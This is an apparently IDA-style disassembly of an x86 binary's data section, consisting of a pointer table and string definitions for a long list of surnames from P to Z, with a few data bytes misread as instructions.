		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		xor	ah, ch
		inc	edx
		add	[esp+ebp*8], ah
		inc	edx
		add	[esp+ebp*8], bl
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC21
; ---------------------------------------------------------------------------
		align 10h
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBE4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBE0o
		align 4
aZurn		db 'Zurn',0
		align 4
aZucconi	db 'Zucconi',0
aZoldak		db 'Zoldak',0
		align 4
aZerbini	db 'Zerbini',0
		dd 6167655Ah
		db 6Eh
; ---------------------------------------------------------------------------


loc_42EC21:				; CODE XREF: ___:0042EBDDj
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC93h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBC0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBBCo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBB8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBB4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBB0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EBACo
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EBA8o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EBA4o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EBA0o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB98o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB94o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB90o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB8Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB88o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB84o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB80o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB7Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB78o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB74o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB70o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB6Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB68o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB64o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB60o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB5Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB58o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB54o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB50o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB48o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB44o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB40o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB3Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB38o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB34o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB30o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB2Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB28o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB24o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB20o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB1Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB18o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB14o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB10o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EB0Co
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EB08o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EB04o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EB00o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAFCo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAF8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAF4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAF0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EAECo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAE8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAE4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EADCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAD8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAD4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAD0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EACCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAC8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAC4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAC0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EABCo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAB8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAB4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAB0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EAACo
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EAA8o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EAA4o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EAA0o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA9Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA98o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA94o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA90o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA8Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA88o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA84o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA80o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA7Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA78o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA74o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA70o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA6Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA68o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA64o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA60o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA5Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA58o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA54o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA50o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA4Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA48o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA44o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA40o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA3Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA38o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA34o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA30o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA2Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA28o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA24o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA20o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA1Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA18o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA14o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA10o
aTill		db 'Till',0             ; DATA XREF: ___:0042EA0Co
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042EA08o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042EA04o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042EA00o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9FCo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9F8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9F4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9F0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9ECo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9E8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9E4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9E0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9DCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9D8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9D4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9D0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9CCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9C4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9C0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9BCo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9B8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9B4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9B0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E9ACo
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E9A8o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E9A4o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E9A0o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E99Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E998o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E994o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E990o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E98Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E988o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E984o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E980o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E97Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E978o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E974o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E970o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E96Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E968o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E964o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E960o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E95Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E958o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E954o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E950o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E94Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E948o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E944o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E940o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E93Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E938o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E934o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E930o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E92Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E928o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E924o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E920o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E91Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E918o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E914o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E910o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E90Co
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E908o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E904o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E900o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8FCo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8F8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8F4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8F0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8ECo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8E8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8E4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8E0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8D8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8D4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8D0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8CCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8C8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8B8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8B4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8B0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E8ACo
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E8A8o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E8A4o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E8A0o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E89Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E898o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E894o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E890o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E88Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E888o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E884o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E880o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E87Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E878o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E874o
		align 4
